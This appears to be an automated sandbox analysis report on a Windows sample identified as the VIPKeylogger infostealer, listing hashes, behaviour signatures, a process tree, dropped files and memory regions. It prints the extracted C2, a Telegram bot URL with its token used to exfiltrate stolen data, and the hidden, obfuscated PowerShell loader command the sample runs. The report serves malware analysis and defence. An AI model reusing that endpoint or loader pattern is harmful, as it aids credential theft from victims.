Analysis

  • max time kernel
    145s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-12-2024 20:51

General

  • Target

    Azygoses125.exe

  • Size

    747KB

  • MD5

    723e8d7420209e5658d32ebeaea45b9c

  • SHA1

    1fab08989ece01ecd3f485d33a921dd553ccc393

  • SHA256

    29807b7bbe150c4005266b07919615984fcc9dec19052ae262374635024c9e2b

  • SHA512

    bd1bb8ee484f3d0768ce1afdbc4091e168613f0d162142f8fbf916bbcf5e5e40f43fecf1452976baf898abe4077db184efda918bbedc472016953fb7f6e470e4

  • SSDEEP

    12288:hDGZKmormA1WTNBX5CN/8DCYz1JqAxQJuPLaDbguIsFFfDF/dvJimLQrU+UvdmBp:vmor/1WNBYN/iXqAxQJW0kTsF/im/mBp

Malware Config

Extracted

Family

vipkeylogger

C2

https://api.telegram.org/bot7745751910:AAGY46QDCTWO_Pw9iDqZhkNij-i4uwbMgzE/sendMessage?chat_id=7695061973

Signatures

  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Vipkeylogger family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Loads dropped DLL 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Blocklisted process makes network request 8 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Azygoses125.exe
    "C:\Users\Admin\AppData\Local\Temp\Azygoses125.exe"
    1⤵
    • Loads dropped DLL
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4488
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "$Okkupationers=gc -raw 'C:\Users\Admin\AppData\Local\magmaet\clenched\Gascon.Som';$Indyndendes=$Okkupationers.SubString(74357,3);.$Indyndendes($Okkupationers) "
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4008
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\SysWOW64\msiexec.exe"
        3⤵
        • Accesses Microsoft Outlook profiles
        • Blocklisted process makes network request
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • outlook_office_path
        • outlook_win_path
        PID:636

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0imiabk0.e3l.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\nsbA337.tmp\nsExec.dll

    Filesize

    6KB

    MD5

    1b0e41f60564cccccd71347d01a7c397

    SHA1

    b1bddd97765e9c249ba239e9c95ab32368098e02

    SHA256

    13ebc725f3f236e1914fe5288ad6413798ad99bef38bfe9c8c898181238e8a10

    SHA512

    b6d7925cdff358992b2682cf1485227204ce3868c981c47778dd6da32057a595caa933d8242c8d7090b0c54110d45fa8f935a1b4eec1e318d89cc0e44b115785

  • C:\Users\Admin\AppData\Local\magmaet\clenched\Feltdefinition.Mej

    Filesize

    291KB

    MD5

    8ee7284edb9d51bc050df373249bf227

    SHA1

    101b642b9a71513c06fb6bff84c068fb456cd516

    SHA256

    2c45fbf06a5dc115d518e12674070767a582f68df30a4eadffa2eaf8aaa9b53e

    SHA512

    7439d672b6c78400297b507968ff9cd45f56b5672765475307e8b8a8b84b462653f743f69cc8da32e35863475b65e15edb24230e67ec777ca4bbf1a4274b241f

  • C:\Users\Admin\AppData\Local\magmaet\clenched\Gascon.Som

    Filesize

    72KB

    MD5

    b044bd82e9954a750fd85843de1c02a3

    SHA1

    e9c94df0e6e0bdf13ab417d7fafad7cd4aaadb43

    SHA256

    54f5c7acb07bc3496890d8dadafa2e4b1073118d0e7c7e6c69b95ecdffabab98

    SHA512

    827525fbdfa186a99510e24ec56c71ee772bed322fcca2d61eef0fce33dd3d37e64b75ed62d6619973f421220746334da6b291211472e2c57eca7dfee2016351

  • memory/636-215-0x0000000002290000-0x00000000030C4000-memory.dmp

    Filesize

    14.2MB

  • memory/636-239-0x000000001EC40000-0x000000001EC4A000-memory.dmp

    Filesize

    40KB

  • memory/636-238-0x0000000021CC0000-0x0000000021D52000-memory.dmp

    Filesize

    584KB

  • memory/636-235-0x00000000224F0000-0x0000000022A1C000-memory.dmp

    Filesize

    5.2MB

  • memory/636-234-0x0000000021580000-0x00000000215D0000-memory.dmp

    Filesize

    320KB

  • memory/636-233-0x0000000021DF0000-0x0000000021FB2000-memory.dmp

    Filesize

    1.8MB

  • memory/636-232-0x0000000002290000-0x00000000030C4000-memory.dmp

    Filesize

    14.2MB

  • memory/636-230-0x0000000021160000-0x00000000211FC000-memory.dmp

    Filesize

    624KB

  • memory/636-228-0x0000000001030000-0x0000000002284000-memory.dmp

    Filesize

    18.3MB

  • memory/636-229-0x0000000001030000-0x000000000107A000-memory.dmp

    Filesize

    296KB

  • memory/4008-193-0x00000000735A0000-0x0000000073D50000-memory.dmp

    Filesize

    7.7MB

  • memory/4008-201-0x00000000735A0000-0x0000000073D50000-memory.dmp

    Filesize

    7.7MB

  • memory/4008-173-0x0000000006DE0000-0x0000000006E02000-memory.dmp

    Filesize

    136KB

  • memory/4008-172-0x0000000006D70000-0x0000000006D8A000-memory.dmp

    Filesize

    104KB

  • memory/4008-174-0x0000000007F70000-0x0000000008514000-memory.dmp

    Filesize

    5.6MB

  • memory/4008-176-0x0000000008BA0000-0x000000000921A000-memory.dmp

    Filesize

    6.5MB

  • memory/4008-177-0x0000000007C80000-0x0000000007CB2000-memory.dmp

    Filesize

    200KB

  • memory/4008-178-0x000000006FA20000-0x000000006FA6C000-memory.dmp

    Filesize

    304KB

  • memory/4008-184-0x00000000735A0000-0x0000000073D50000-memory.dmp

    Filesize

    7.7MB

  • memory/4008-189-0x0000000007CC0000-0x0000000007CDE000-memory.dmp

    Filesize

    120KB

  • memory/4008-190-0x0000000007CF0000-0x0000000007D93000-memory.dmp

    Filesize

    652KB

  • memory/4008-191-0x00000000735A0000-0x0000000073D50000-memory.dmp

    Filesize

    7.7MB

  • memory/4008-192-0x0000000007DF0000-0x0000000007DFA000-memory.dmp

    Filesize

    40KB

  • memory/4008-170-0x00000000068B0000-0x00000000068FC000-memory.dmp

    Filesize

    304KB

  • memory/4008-194-0x0000000007F50000-0x0000000007F61000-memory.dmp

    Filesize

    68KB

  • memory/4008-195-0x0000000008550000-0x000000000855E000-memory.dmp

    Filesize

    56KB

  • memory/4008-196-0x0000000008560000-0x0000000008574000-memory.dmp

    Filesize

    80KB

  • memory/4008-197-0x00000000085A0000-0x00000000085BA000-memory.dmp

    Filesize

    104KB

  • memory/4008-198-0x0000000008590000-0x0000000008598000-memory.dmp

    Filesize

    32KB

  • memory/4008-200-0x00000000085F0000-0x0000000008614000-memory.dmp

    Filesize

    144KB

  • memory/4008-199-0x00000000085B0000-0x00000000085DA000-memory.dmp

    Filesize

    168KB

  • memory/4008-171-0x0000000007920000-0x00000000079B6000-memory.dmp

    Filesize

    600KB

  • memory/4008-204-0x00000000735A0000-0x0000000073D50000-memory.dmp

    Filesize

    7.7MB

  • memory/4008-203-0x00000000735AE000-0x00000000735AF000-memory.dmp

    Filesize

    4KB

  • memory/4008-205-0x00000000735A0000-0x0000000073D50000-memory.dmp

    Filesize

    7.7MB

  • memory/4008-207-0x00000000735A0000-0x0000000073D50000-memory.dmp

    Filesize

    7.7MB

  • memory/4008-208-0x00000000735A0000-0x0000000073D50000-memory.dmp

    Filesize

    7.7MB

  • memory/4008-209-0x0000000009220000-0x000000000A054000-memory.dmp

    Filesize

    14.2MB

  • memory/4008-210-0x00000000735A0000-0x0000000073D50000-memory.dmp

    Filesize

    7.7MB

  • memory/4008-211-0x00000000735A0000-0x0000000073D50000-memory.dmp

    Filesize

    7.7MB

  • memory/4008-212-0x00000000735A0000-0x0000000073D50000-memory.dmp

    Filesize

    7.7MB

  • memory/4008-213-0x00000000735A0000-0x0000000073D50000-memory.dmp

    Filesize

    7.7MB

  • memory/4008-169-0x0000000006890000-0x00000000068AE000-memory.dmp

    Filesize

    120KB

  • memory/4008-168-0x00000000062C0000-0x0000000006614000-memory.dmp

    Filesize

    3.3MB

  • memory/4008-157-0x00000000061E0000-0x0000000006246000-memory.dmp

    Filesize

    408KB

  • memory/4008-158-0x0000000006250000-0x00000000062B6000-memory.dmp

    Filesize

    408KB

  • memory/4008-156-0x00000000059B0000-0x00000000059D2000-memory.dmp

    Filesize

    136KB

  • memory/4008-155-0x0000000005AB0000-0x00000000060D8000-memory.dmp

    Filesize

    6.2MB

  • memory/4008-154-0x00000000735A0000-0x0000000073D50000-memory.dmp

    Filesize

    7.7MB

  • memory/4008-153-0x0000000002F40000-0x0000000002F76000-memory.dmp

    Filesize

    216KB

  • memory/4008-152-0x00000000735AE000-0x00000000735AF000-memory.dmp

    Filesize

    4KB

  • memory/4008-214-0x00000000735A0000-0x0000000073D50000-memory.dmp

    Filesize

    7.7MB